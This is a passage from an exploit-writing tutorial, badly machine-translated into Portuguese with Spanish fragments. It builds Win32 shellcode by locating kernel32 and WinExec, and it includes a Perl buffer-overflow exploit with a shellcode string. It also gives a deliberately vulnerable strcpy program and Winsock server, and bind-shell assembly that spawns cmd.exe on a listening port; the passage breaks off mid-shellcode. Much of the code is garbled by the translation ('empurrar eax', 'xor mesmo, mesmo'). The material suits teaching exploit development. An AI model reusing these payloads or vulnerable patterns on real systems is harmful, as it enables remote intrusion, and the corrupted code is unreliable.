mov byte ptr [ebp‐09h], 63h; 'C'mov byte ptr [ebp‐08h], 61h; 'uma'mov byte ptr [ebp‐07h], 6Ch; 'eu'mov byte ptr [ebp‐06h], 63h; 'C'mov byte ptr [ebp‐05h], 2Eh ; '.'mov byte ptr [ebp‐04h], 65h ; 'e'mov byte ptr [ebp‐03h], 78h; 'X'mov byte ptr [ebp‐02h], 65h ; 'e'

mov byte ptr [ebp‐01h], dl; 0x00

lea eax, [ebp‐09h]; carga em EAX, o endereço que aponta para iniciar calc.exe

empurrar eax; guardamos la direccion en la pilaebx mov, pSystem; metemos en el valor EBX del deslocamento de sistemachamar EBX; Chamamos sistema e executar o nosso shellcode

out:invocar ExitProcess, 0

; ******************************************; Buscamos la direccion base de kernel32.dll; ******************************************busca_kernel32:

eax mov, fs: [30h]; ponteiro para PEBmov eax, [eax + 0Ch]; apontador para a estrutura de dadosmov ESI, [eax + 1ch]; extrai a primeira entradaLODSD; avança para a próximamov eax, [eax + 08h]; Pode obter o endereço de base e as armazena em eaxdireito

; ***************************************************************************; Nós olhamos para o endereço de uma função dado o endereço base de uma biblioteca; ***************************************************************************busca_funcion:

mov eax, [esp + 8]; função aponta para o nome da função (por exemplo LoadLibraryA)função mov, eaxmov eax, [esp + 12]; base de Apunta a la base de de la libreria (ej: kernel32.dll)mov eax, [eax]base de mov, eax

mov esi, base ; puntero a la direccion baseadicionar ESI, [ESI + 03Ch]; Puntero uma assinatura EPmov mesmo, [esp + 4]; mesmo = longitud del números da função

mov EDI, biblioteca, Nome da função procurandomov edx, [ESI + 078h]; Puntero uma mesa la Exportadd edx, base ; sumamos la direccion base

mov ebx, [edx + 20h]; AddressOfNames matriz puntero aladicionar EBX, base





xor eax, eax ; indice de AddressOfNames

bucle_funcion :; Procuramos função a partir do endereço basemov edi, [EBX]adicionar edi, baseESI mov, função; ponteiro para o nome da funçãoempurrar ecx; Nós manter o comprimento da funçãorepz CMPSBjnz funcion_no_encontradaadicionar esp, 4jmp verificar_funcion

funcion_no_encontrada:pop ecx; tomamos o comprimento da funçãoadicionar EBX, 4; ponteiro para a próxima funçãoinc eax; nós aumentamos o número de funções revistocmp eax, dword ptr [edx + 18h]; se ainda são características da biblioteca, continue

procurandoJNZ bucle_libreria

verificar_funcion:cmp eax, dword ptr [edx+18h] ; verificamos si hemos llegado aqui porque se encontro la

funcionlibreria_encontrada JNZ; ou porque foi atingido no final da tabelaeax xor, eax; Se a função não for encontrada eax coloca zero e salta parajmp fin_libreria

funcion_encontrada:ESI mov, dword ptr [edx + 24h]; ponteiro para os ordinais de mesaadd esi, base ; añadimos la direccion basemov cx, word ptr [ESI + 2 * eax]; cx = numero de la funcion Que se ha Encontradomov edi, dword ptr [edx + 1ch]; ponteiro para a tabela de endereçosadd edi, base ; añadimos la direccion basemov eax, dword ptr [edi + 4 * ecx]; puntero a la funcion encontrada

add eax, base; base de direccion añadimos la

fin_libreria:direito

início fim‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

NOTA: Em algum código que procura endereço base do kernel dar porÉ claro que o sistema é NT, XP, 2000 ... Vamos lá, não é sobre 9x. estaEu fiz isso para salvar o código. Se você quiser olhar também no Windows 9xvocê deve alterá‐lo para:

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐busca_kernel32:

eax mov, fs: [30h]; ponteiro para PEBmov eax, [eax + 0Ch]; apontador para a estrutura de dadoseax teste, eaxjs busca_kernel32_9x; Si el bandeira S = 1 ESTA con Windows 9x sino con NT, XP, ...

busca_kernel32_nt:mov ESI, [eax + 1ch]; extrai a primeira entradaLODSD; avança para a próximamov eax, [eax + 08h]; Pode obter o endereço de base e as armazena em eaxjmp fin_kernel32

busca_kernel32_9x:mov eax, [eax + 34h]lea eax, [eax + 7CH]mov eax, [eax + 3ch]; Pode obter o endereço de base e as armazena em eax





fin_kernel32:direito

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

Outro código mas completo para localizar a direção banco de kernel32.dll éo seguinte (extraído dehttp://undercon.org/archivo/0x06/UC0x06‐Win32Shellcodes.txt):

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐busca_kernel32:

eax mov, fs: [30h]; ponteiro para PEBmov eax, [eax + 0Ch]; apontador para a estrutura de dadosadd eax, 0Ch; en eax tengo direccion Correctamov eax, [eax]

loop1:mov ebx, [eax]; en EBX tengo direccion de próxima

add eax, 30h; nombre de la dll en unicodemov ecx, 00320033hmov edx, [eax]cmp [edx + 0Ch], ecx

jne loop2

ecx mov, 0064002Ehcmp [edx + 10h], ecxjne loop2

sub eax, 30hadd eax, 18hmov eax, [eax]; Pode obter o endereço de base e as armazena em eax

direito

loop2:mov eax, EBXjmp bucle1

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

Voltando para todo o programa, neste código frito você pode ver que,por um lado mostra o endereço de base kernel32.dll, como eu disse antes. em seguidaNós procuramos a direção de LoadLibraryA e cobrando Msvcrt.dll usar a mesmacodigo para procurar a função system.

Se você compilar e executar o programa, podemos ver que rasgou ocalculadora do Windows, sem carregar o msvcrt.dll Biblioteca com ouma invocação, como tivemos de fazer antes.

Com base nesse código agora temos que criar nosso shellcode e para issodeve levar em conta alguns fatores:

> Por um lado, temos que substituir as chamadas iniciais pelo código,evitando fazer qualquer chamada.

> Isso vai fazer‐nos repetir a mesma função de pesquisa de código duas vezes maistemos de olhar para duas funções diferentes (LoadLibraryA e do sistema).

> Por outro lado, vamos remover o eax xor, jz eax e fora e nósassumir que você sempre vai encontrar a função. Então, nós salvar código eevitar caracacteres que podem tornar o nosso shellcode não funcionar.

> Também temos de evitar as definições na seção .data como

iria manter em lugares desconhecidos e não podíamos confiar neles.> Uma vez que você criou o programa, que deve ser capaz de correr para compilar o ASM,

como este, vamos analisar a possível nulo e outros personagens.

Para não muito estender este documento, eu não vou copiar o código comono final do shellcode é um pouco longo, porque a parte mais longa da





função de pesquisa deve ser repetido duas vezes. Para aqueles que querem praticar, o quePodemos deixar como deveres xDDD

Pelo contrário, vamos repetir a mesma operação, mas correndo o nossocalculadora WinExec em vez de sistema. A razão pela qual eu escolhouso WinExec é porque esta função está em kernel32.dll e por isso nãoI Msvcrt.dll precisa carregar e, portanto, não há necessidade LoadLibraryA. DestaEle forma o código do nosso shellcode ficar muito mais estreito:

> Procure a direção da biblioteca kernel32.dll> Dentro desta biblioteca buscamos a função WinExec> Sabendo a direção de WinExec podemos lançar a calculadora

O código mais ou menos aperfeiçoado e revisado para cobrir o OllyDbgproblemas de caracteres inválidos, como vimos na seção anterior, quedariasobre:

‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Scode.asm.386.model plana, stdcall; modelo de memória de 32 bitsopção casemap: none; maiúsculas de minúsculasassumir fs: nada


includelib masm32.libincludelib kernel32.lib

.códigocomeçar:; ******************************************; Buscamos la dirección base de kernel32.dll

; ******************************************xor eax, eax ; cargamos con eax+30h para evitar caracteres nuloseax mov, fs: [eax + 30h]; ponteiro para PEBmov eax, [eax + 0Ch]; apontador para a estrutura de dadosmov ESI, [eax + 1ch]; extrai a primeira entradaLODSD; avança para a próximamov eax, [eax + 08h]; Pode obter o endereço de base e as armazena em eaxempurrar eax; guardamos en la pila la direccion de base de kernel32.dll

; ***********************************************************************; Buscamos la direccion de WinExec dada la direccion de base de kernel32.dll; ***********************************************************************busca_funcion:

mov ESI, [esp]; Puntero uma base direccion laadicionar ESI, [ESI + 03Ch]; Puntero uma assinatura EPmov edx, [ESI + 078h]; Puntero uma mesa la Exportadicionar EDX, [esp]; base de direccion sumamos la

ecx mov, edx; Isso evita colocar a 20h (espaço) que nos corta o shellcodeadicionar ecx, 1Fhinc ecxmov ebx, [ecx]; ponteiro para os AddressOfNames matrizadicionar EBX, [ESP]xor eax, eax ; indice de AddressOfNames

bucle_funcion :; Procuramos função a partir do endereço basemov edi, [EBX]adicionar edi, [ESP]

; como não usa mais o segmento .data, comparamos o nome diretamente; a biblioteca e, assim, introduzir o contrário. Além disso, sendo 7 bytes,





; temos que separar em um dword uma palavra e um byte, para que não nos pegar; sem carácter nulocmp dword ptr [edi], 456E6957h; ENIW = revés vinho aljnz funcion_no_encontradacmp palavra ptr [edi + 4], 6578h; ex = xe al revésjnz funcion_no_encontradacmp palavra ptr [edi + 6], 63h; cje funcion_encontrada

funcion_no_encontrada:nop; colocar um NOP aqui porque após a depuração com Olly

; Eu vi vestindo \ x09 (Tab) e eu quebrou oshellcode

; este amplo byte forma salto e, em vez; 09 irá colocar 0A

adicionar EBX, 4inc eaxcmp eax, dword ptr [edx + 18h]JNZ bucle_funcion

funcion_encontrada:ESI mov, dword ptr [edx + 24h]; ponteiro para os ordinais de mesa

adicionar ESI, [esp]; base de direccion añadimos laxor mesmo, mesmomov cx, word ptr [ESI + 2 * eax]; cx = numero de la funcion Que se ha Encontradomov edi, dword ptr [edx + 1ch]; ponteiro para a tabela de endereçosadicionar edi, [esp]; base de direccion añadimos lamov eax, dword ptr [edi + 4 * ecx]; puntero a la función encontradaadd eax, [esp]; base de direccion añadimos la

; **********************************; lançar a calculadora do Windows; **********************************



mov byte ptr [ebp‐0Fh], 63h; 'C'mov byte ptr [ebp‐0Eh], 61h; 'uma'mov byte ptr [ebp‐0Dh], 6Ch; 'eu'mov byte ptr [ebp‐0Ch], 63h; 'C'mov byte ptr [ebp‐0bh], 2Eh ; '.'mov byte ptr [ebp‐0ah], 65h ; 'e'mov byte ptr [ebp‐09h], 78h; 'X'mov byte ptr [ebp‐08h], 65h ; 'e'mov byte ptr [ebp‐07h], dl; 0x00

lea ecx, [ebp‐0Fh]; Nós carregar o endereço que aponta para a nossa cadeiaempurrar eax; Colocamos o endereço 'calc.exe' na pilha

EBX XOR, a EBXbl mov, 5; SW_SHOWEBX impulsoEmpurrar ainda; guardamos a direção na pila

chamar eax; Chamamos WinExec e executar o nosso shellcode


Depois de retirar os opcodes com OllyDbg, quedaria nos explorar como este:





‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐#! / Usr / bin / perl

$ Preencha = "A" x76;


$ Shellcode = "\ x33 \ xC0 \ x64 \ x8B \ x40 \ x30 \ x8B \ x40 \ x0C \ x8B \ x70 \ X1c \xAd \ x8B \ x40 \ x08".

"\ X50 \ x8B \ x34 \ x24 \ x03 \ x76 \ X3C \ x8B \ x56 \ x78 \ x03 \ x14 \ x24\ x8B \ XCA \ x83".

"\ XC1 \ x1F \ x41 \ x8B \ x19 \ x03 \ X1c \ x24 \ x33 \ xC0 \ x8B \ x3B \ x03\ X3C \ x24 \ x81".

"\ X3F \ x57 \ x69 \ x6E \ x45 \ x75 \ x0F \ x66 \ x81 \ x7F \ x04 \ x78 \ x65\ x75 \ x07 \ x66".

"\ X83 \ x7F \ x06 \ x63 \ x74 \ x0A \ x90 \ x83 \ XC3 \ x04 \ x40 \ x3B \ x42\ x18 \ x75 \ XDA".

"\ X8B \ x72 \ x24 \ x03 \ x34 \ x24 \ x33 \ XC9 \ x66 \ x8B \ x0C \ x46 \ x8B\ x7A \ X1c \ x03".

"\ X3C \ x24 \ x8B \ x04 \ x8F \ x03 \ x04 \ x24 \ x8B \ XEC \ x32 \ xd2 \ x83\ XEC \ x0C \ xC7".

"\ X45 \ XF7 \ x63 \ x61 \ x6C \ x63 \ xC7 \ x45 \ XFB \ x2E \ x65 \ x78 \ x65\ x88 \ x55 \ xFF".

"\ X8D \ x4D \ XF7 \ x33 \ xDB \ XB3 \ x05 \ x53 \ x51 \ x8B \ xD8 \ xFF \xd3";



Para testar esta façanha precisamos programa um pouco mais vulneráveismaior do que o anterior, já não se encaixa na pilha. Podemos usar,

Este exemplo, que reservar memória para um segundo buffer maior:

‐‐‐‐ Vuln.c ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐#include <string.h>#include <stdio.h>

void copiar(char *dato) {char buffer[64]; // array con 64 bytes de espaciostrcpy (tampão, Dato); // Estouro posibleRetorna;

}

int main (int argc, char * argv []) {char buffer2[1000]; // array con 1000 bytes de espacio

Se (argc <2) {printf ("Hay que usar: %s, texto\n", argv[0]);return 0;

}

copiar(argv[1]);return 0;

}‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

E se tudo correu bem, você deve executar a calculadora do Windows mais uma vez.

‐‐‐[ 6 ‐ Creando un exploit remoto





Vamos ver agora como explorar um programa remoto. Para fazer isso vamos criarpela primeira vez um programa vulnerável que irá chamar servidor, paratestes também criar um programa cliente.

‐‐‐‐[ 6.1 ‐ Creando un programa vulnerable

Como exemplo vamos usar um pequeno programa que está escutando naport 9999 e espera que um cliente se conecte a sua morte como um parâmetronome de usuário. Em seguida, ele faz um strcpy que pode causar transbordamento. seguintecomo é o strcpy é algo ilógico, mas eu fiz assim para simplificar e poderutilize o nosso explorar.

Para compilar con Dev‐C++ hay que:> Criar um novo projeto de console do Windows em C> No arquivo de código que é criado (main.c) copie o código abaixo> Nós adicionamos o clique biblioteca WSock no Projeto ‐> Opções do Projecto ‐>

Parametros ‐> Añadir Biblioteca u ObjetoNós procuramos a rota onde DevC, digite lib e selecionefile: libwsock32.a

‐‐‐‐ servidor.c ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

#include <winsock.h>#include <stdio.h>#include <stdlib.h>#define PUERTO 9999 // puerto 9999

void copiar(char *nombre) {char buffer [64];strcpy (buffer, nombre);

Retorna;}

int main () {Informação WSADATA;

if (WSAStartup (MAKEWORD (2,0), e info)! = 0) {printf ("Error al inicializar Winsock\n");saída (‐1);

}

int fd1, fd2; // Descritores de arquivo

struct sockaddr_in server; / * Para a informação da direcção do servidor * /struct sockaddr_in clientes; / * Para a informação da direcção do cliente * /

int sin_size;

// Tomada de chamadas ()if ((fd1 = socket (AF_INET, SOCK_STREAM, 0)) == ‐1) {

printf ( "Erro en socket () \ n");saída (‐1);

}

server.sin_family = AF_INET;server.sin_port = htons (PUERTO);server.sin_addr.s_addr = INADDR_ANY;

memset (& (server.sin_zero), '\ 0', 8);

// Llamada a bind()if (bind (fd1, (struct sockaddr *) & servidor, sizeof (struct sockaddr)) == ‐ 1) {

printf ( "Erro en bind () \ n");saída (‐1);





}

// Llamada a listen()if (listen (fd1, 1) == ‐1) {

printf ( "Erro en listen () \ n");saída (‐1);

}

número char [1000];

enquanto (1) {sin_size = sizeof (struct sockaddr_in);

// Llamada a accept()if ((fd2 = aceitar (fd1, (struct sockaddr *) & client, e sin_size)) == ‐ 1) {

printf ( "Erro en aceitar () \ n");saída (‐1);

}

recv (fd2, nombre, 1000, 0);printf ( "Se ha Conectado:% s \ n", nombre);copiar(nombre);

}

WSACleanup ();}‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

E para o cliente, podemos usar o código inclu adicionando a mesma bibliotecafizemos com o servidor:

‐‐‐‐ cliente.c ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐#include <windows.h>#include <winsock2.h>

#include <stdio.h>#include <process.h>#include <string.h>#include <stdlib.h>

#define PUERTO 9999

int main (int argc, char * argv []) {* Número de carvão;Informação WSADATA;

if (WSAStartup (MAKEWORD (2,0), e info)! = 0) {printf("Fue imposible inicializar winsock 2.0\n");saída (1);

}

struct sockaddr_in vermelho;

Se (argc! = 3) {printf ( "Escribe% s <host> <tu nombre> \ n", argv [0]);saída (1);

}

name = argv [2];

int fd = 0;

if ((fd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {printf ( "Erro en socket:% d \ n", WSAGetLastError ());saída (1);

}





red.sin_family = AF_INET;red.sin_port = htons (PUERTO);

red.sin_addr.s_addr = inet_addr (argv [1]);

if (connect (fd, (struct sockaddr *) & vermelho, sizeof (vermelho)) == SOCKET_ERROR) {printf("Error al conectar: %d\n", WSAGetLastError());saída (1);

}

enviar (fd, nombre, 999, 0);}‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

Para testar, inicie o servidor em um console em outro console e executarel cliente:C:\> cliente.exe 127.0.0.1 Pepelux

Na janela do servidor vemos que diz:Se ha conectado: Pepelux

Agora, tente com uma cadeia muito longa, vemos que o servidor está fechado

Damos um erro, porque substituir o endereço de retorno na funçãoCopiar:C:\> cliente.exe 127.0.0.1 AAAAAAAAAAAA...muchas mas....AAAAAAAAAA

Para visualizar o tamanho do buffer que abrir o servidor e dar o OllyDbgo botão direito do mouse e Procurar ‐> Todos cadeias de texto referented. dobramosclique na string 'está ligado:% s \ n' e acabamos de código ondefaz strcpy:

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐00401290 / $ 55 IMPULSO EBP00401291 |. 89E5 MOV EBP, ESP

00401293 |. 83EC 58 SUB ESP,5800401296 |. 8B45 08 MOV EAX, DWORD PTR SS: [EBP + 8]; || Servidor. <ModuleEntryPoint>00401299 |. 894.424 04 MOV DWORD PTR SS: [ESP + 4], EAX; ||0040129D |. 8D45 B8 LEA EAX, DWORD PTR SS: [EBP‐48]; ||004012A0 |. 890424 MOV DWORD PTR SS: [ESP], EAX; ||004012A3 |. E8 F8070000 CHAMADA <JMP & msvcrt.strcpy.>; | \ Strcpy004012A8 |. 8B45 08 MOV EAX, DWORD PTR SS: [EBP + 8]; |. Servidor <ModuleEntryPoint>004012AB |. 894.424 04 MOV DWORD PTR SS: [ESP + 4], EAX; |004012AF |. C70424 003.040> MOV DWORD PTR SS: [ESP], servidor.00403000; | ASCII "Se haConectado:% s \ n"004012B6 |. E8 D5070000 CHAMADA <JMP & msvcrt.printf.>; \ printf004012BB |. C9 LICENÇA004012BC \. C3 DIR‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

Nós colocamos um ponto de interrupção no RET e estamos tentando embarques para ver que,Como no programa vulnerável anterior com 72 bytes que preencher o buffer,4 bytes mas para ele EBP e outros 4 para sobrescrever a direção de retorno.

Como explorar o programa é semelhante à observada anteriormente, unicamenteo shellcode deve abrir uma porta à qual ligamos podernos, ou seja, emum exploit local é suficiente para abrir um console, mas remotamente, criaruma conexão para escutar em uma determinada porta, e fazer‐nos um dilemaescudo, através do qual vamos acessar o sistema.


Como fizemos antes, vamos criar um programa que primeiro ASMexecutar executar a tarefa que queremos, ou seja, abrir uma porta e dar‐nosum shell quando ligamos.





código ASM do nosso programa seria algo como isto:

‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Scode.asm.386.model plana, stdcallopção casemap: nenhum

Shell proto

incluem windows.incincluem kernel32.incincluem ws2_32.incincluem masm32.incincludelib Ws2_32.libincludelib ernel32.libincludelib masm32.lib

.dadosip db "127.0.0.1", 0port dd 9999cmdpath db "cmd.exe", 0

.códigocomeçar:invocar Shellinvocar ExitProcess, eax

Shell ProcLOCAL WSAData:WSADATAsSocket LOCAL: SOCKETsaddr LOCAL: sockaddr_inLOCAL stti :STARTUPINFOLOCAL pri :PROCESS_INFORMATION

; recuperar o conteúdo de estrutura STARTUPINFOstti.cb mov, STTI sizeofinvocar GetStartupInfo, endereço STTI

MOV stti.dwFlags, STARTF_USESHOWWINDOW + STARTF_USESTDHANDLESmov stti.wShowWindow, SW_HIDE

; Temos a bytes do endereço IP do hostmov sAddr.sin_family, AF_INETinvocar htonl, INADDR_ANY

mov sAddr.sin_addr, eaxinvocar htons, puerto

palavra mov ptr [sAddr.sin_port], machado

; inicializamos winsockinvocar WSAStartup, 202H, WSAData addr

; chamar socket ()invocar WSASocket, AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0mov sSocket, eax

; llamamos a bind()

invocar bind, sSocket, endereço saddr, sizeof saddr

; llamamos a listen()chamará ouvir, sSocket, 5mov ebx, sSocket





; llamamos a accept()chamará aceitar, sSocket, NULL, NULLmov sSocket, eax

; llamamos a close()invocar closesocket, EBX

mov eax, sSocketmov stti.hStdInput, eaxmov stti.hStdOutput, eaxmov stti.hStdError, eax

; Lançamos o shellinvocar CreateProcess, NULL, endereço cmdpath, NULL, NULL, TRUE, NULL, NULL, NULL,

endereço STTI, endereço pri

; Esperamos uma conexão externa invocar WaitForSingleObject, pri.hProcess, INFINITE

; Nós fechar o socketinvocar CloseHandle, pri.hProcessinvocar CloseHandle, pri.hThread

invocar closesocket, sSocket

invocar WSACleanup

direitoShell ENDP

início fim‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

Se você compilar e executar, mas aparentemente nada acontece, se dermosCtrl + Alt + Sup vemos isso em execução. Agora vamos fazer uma conexão através

telnet, por exemplo, e ver o que nos dá um shell:

‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐C:\> telnet 127.0.0.1 9999

Microsoft Windows XP [Versión 5.1.2600](C) Copyright 1985‐2001 Microsoft Corp.

C:\servidor\>‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

Bem, agora temos nosso código, temos de preparar o shellcode e,Para fazer isso, vamos fazer algo semelhante ao shellcode anterior, procuraremoso endereço de cada função com base no endereço de kernel32.dll.Em seguida, retire os caracteres inválidos e criar um exploit.

Vamos começar o procedimento diretamente do OllyDbg. Para fazê‐loAbrimos carregar o programa e insira a chamada com F7. Copie o códigoem uma nova ASM e mexido um pouco para o trabalho.

Leria:

‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Scode.asm.386.model plana, stdcall

opção casemap: nenhumShell proto

incluem windows.incincluem kernel32.incincluem ws2_32.inc





incluem masm32.inc

includelib Ws2_32.libincludelib kernel32.libincludelib masm32.lib

.dadoscmdpath db "cmd.exe", 0

.códigocomeçar:

IMPULSO EBPEBP MOV, ESPSUB ESP, 1F8hMOV DWORD PTR SS: [EBP‐1E8h], 44hLEA EAX, DWORD PTR SS: [EBP‐1E8h]IMPULSO EAX; / PStartupinfo = NULLCHAME GetStartupInfoA; \ GetStartupInfoAMOV DWORD PTR SS: [EBP‐1BCh], 101hMOV WORD PTR SS: [EBP‐1B8h], 0MOV WORD PTR SS: [EBP‐1A4h], 2IMPULSO 0; / 0 = HostLong

CHAME htonl; \ htonlMOV DWORD PTR SS: [EBP‐1A0h], EAXIMPULSO 270Eh; puerto 9998CHAME htons; \ htonsMOV WORD PTR SS: [EBP‐1A2h], AX

LEA EAX, DWORD PTR SS: [EBP‐18Eh]IMPULSO EAX; / PWSAData = NULLIMPULSO 202h; | RequestedVersion = 202 (2,2).CHAME WSAStartup; \ WSAStartupIMPULSO 0; / Flags = 0IMPULSO 0; | Grupo = 0IMPULSO 0; | PWSAprotocol = NULL

IMPULSO 6; | Protocolo = IPPROTO_TCPIMPULSO 1; | Type = SOCK_STREAM TOQUE 2; | Família = AF_INET

CHAME WSASocketA; \ WSASocketAMOV DWORD PTR SS: [EBP‐194h], EAXIMPULSO 10h; / Addrlen = 10 (16)LEA EAX, DWORD PTR SS: [EBP‐1A4h]; |IMPULSO EAX; | PSockAddr = NULL

IMPULSO DWORD PTR SS: [EBP‐194h]; | Tomada = 81C12230ligam chamada; \ ligamentoIMPULSO 5; / Backlog = 5IMPULSO DWORD PTR SS: [EBP‐194h]; | Tomada = 81C12230CHAME ouvir; \ouçoMOV EBX, DWORD PTR SS: [EBP‐194h]IMPULSO 0; / PAddrLen = NULLIMPULSO 0; | PSockAddr = NULLIMPULSO DWORD PTR SS: [EBP‐194h]; | Tomada = 81C12230CHAME aceitar; \aceitarMOV DWORD PTR SS: [EBP‐194h], EAXIMPULSO EBX; / Soquete = 7FFDE000closesocket chamada; \ closesocketMOV EAX, DWORD PTR SS: [EBP‐194h]MOV DWORD PTR SS: [EBP‐1B0h], EAXMOV DWORD PTR SS: [EBP‐1ACh], EAXMOV DWORD PTR SS: [EBP‐1A8h], EAX

LEA EAX, DWORD PTR SS: [EBP‐1F8h]IMPULSO EAX; / PProcessInfo = NULLLEA EAX, DWORD PTR SS: [EBP‐1E8h]; |IMPULSO EAX; | PStartupInfo = NULLIMPULSO 0; | CurrentDir = NULLIMPULSO 0; | PEnvironment = NULL





IMPULSO 0; | CreationFlags = 0IMPULSO 1; | InheritHandles = TRUEIMPULSO 0; | PThreadSecurity = NULLIMPULSO 0; | PProcessSecurity = NULLIMPULSO compensado cmdpath; | CommandLine = "cmd.exe"IMPULSO 0; | ModuleFileName = NULLCHAME CreateProcessA; \ CreateProcessAIMPULSO ‐1; / Timeout = INFINITEIMPULSO DWORD PTR SS: [EBP‐1F8h]; | HObject = 00000023CHAME WaitForSingleObject; \ WaitForSingleObjectIMPULSO DWORD PTR SS: [EBP‐1F8h]; / HObject = 00000023CHAME CloseHandle; \ CloseHandleIMPULSO DWORD PTR SS: [EBP‐1F4h]; / HObject = 81C122A0CHAME CloseHandle; \ CloseHandleIMPULSO DWORD PTR SS: [EBP‐194h]; / Soquete = 81C12230closesocket chamada; \ closesocketCHAME WSACleanup; [WSACleanup

invocar ExitProcess, eaxinício fim‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

O código obtido com Olly teve que fazer algumas modificações parafuncione:

> ADD ESP, ‐1F8h lo sustituimos SUB POR ESP, 1F8h> Nós adicionamos um tem cada número para indicar que é hexadecimal> Premir DWORD PTR DS alterou: [40300A] por IMPULSO 270Eh, entrando na pilha o

port diretamente, em vez de pegar uma variável (eu mudei o9998 9999 endereço para abrir a casca nós lá. Tenha emque o 9999 é ocupado pelo servidor e precisamos abrir nossodiferente outro porto)

> Finalmente, mudar todas as chamadas deixando apenas o nome da função

Uma vez que, neste momento, temos:> Retire o cmdpath cadeia variável recebendo cmd.exe directamente nopilha, como fizemos nos outros códigos

> Faça o nosso olhar shellcode para os recursos que você precisa, a partir dela direccion base de kernel32.dll

> Remover caracteres inválidos (neste caso, o \ x20 não seria um problema,como nós I aconteceu antes

Ponto 2 nos levaria muito tempo. Vimos anteriormente um método para calculara direção das bibliotecas e as suas funções, por isso não vou repetiraqui. Além disso, há shellcodes na Internet que fazer o mesmo e sãootimizado para o máximo e a ideia deste texto é fazer você entender ometodologia de trabajo.

O código resultante, que poderia ser algo como isto:

‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Scode.asm.386.model plana, stdcallopção casemap: nenhumassumir fs: nada

incluem windows.incincluem kernel32.incincluem ws2_32.inc

incluem masm32.inc

includelib Ws2_32.libincludelib kernel32.libincludelib masm32.lib





.dadoslib db "ws2_32.dll"

.códigocomeçar:

invocar LoadLibrary, lib compensado

ebp impulsomov ebp, espsub SP, 1F8hxor mesmo, mesmomov cl, 44hmov dword ptr ss: [ebp‐1E8h], ecxeax lea, ss: [ebp‐1E8h]empurrar eax; / PStartupinfo = NULLmov ecx, 7c801ef2hchamar ecx; \ getstartupinfoa

xor mesmo, mesmomov cx, 101hmov dword ptr ss: [ebp‐1BCh], ecxxor mesmo, mesmo

mov ptr palavra ss: [ebp‐1B8h], cxadicione cl, 2mov ptr palavra ss: [ebp‐1A4h], cxxor mesmo, mesmoempurrar ecx; / 0 = HostLongmov ecx, 71a32bc0hchamar ecx; \ htonl

mov dword ptr ss: [ebp‐1A0h], eaxxor mesmo, mesmomov cx, 270Ehempurrar ecx; puerto 9998

mov ecx, 71a32b66hchamar ecx; \ htons

mov ptr palavra ss: [ebp‐1A2h], machadolea eax, ptr palavra ss: [ebp‐18Eh]empurrar eax; / PWSAData = NULL

xor mesmo, mesmomov cx, 202Hempurrar ecx; | RequestedVersion = 202 (2,2).mov ecx, 71a3664dhchamar ecx; \ WSAStartup

xor mesmo, mesmoempurrar ecx; / Flags = 0empurrar ecx; | Grupo = 0empurrar ecx; | PWSAprotocol = NULLmov cl, 6impulso CEx; | Protocolo = IPPROTO_TCPxor mesmo, mesmoadicione cl, 1empurrar ecx; | Type = SOCK_STREAMadicione cl, 1empurrar ECX; | Família = AF_INETmov ecx, 71a38769hchamar ecx; \ wsasocketa

mov dword ptr ss: [ebp‐194h], eaxxor mesmo, mesmomov cl, 10hempurrar ecx; / Addrlen = 10 (16)lea eax, dword ptr ss: [ebp‐1A4h]





empurrar eax; | PSockAddr = NULLimpulso dword ptr ss: [ebp‐194h]; | Tomadamov ecx, 71a33e01hdezembro ecxchamar ecx; \ ligamento

xor mesmo, mesmomov cl, 5hempurrar ecx; / Backlog = 5impulso dword ptr ss: [ebp‐194h]; | Tomadamov ecx, 71a388d3hchamar ecx; \ouço

mov ebx, dword ptr ss: [ebp‐194h]xor mesmo, mesmoempurrar ecx; / PAddrLen = NULL

empurrar ecx; | PSockAddr = NULLimpulso dword ptr ss: [ebp‐194h]; | Tomadamov ecx, 71a41028hchamar ecx; \aceitar

mov dword ptr ss: [ebp‐194h], eax

empurrar ebx; / soquetemov ecx, 71a39639hchamar ecx; \ closesocket

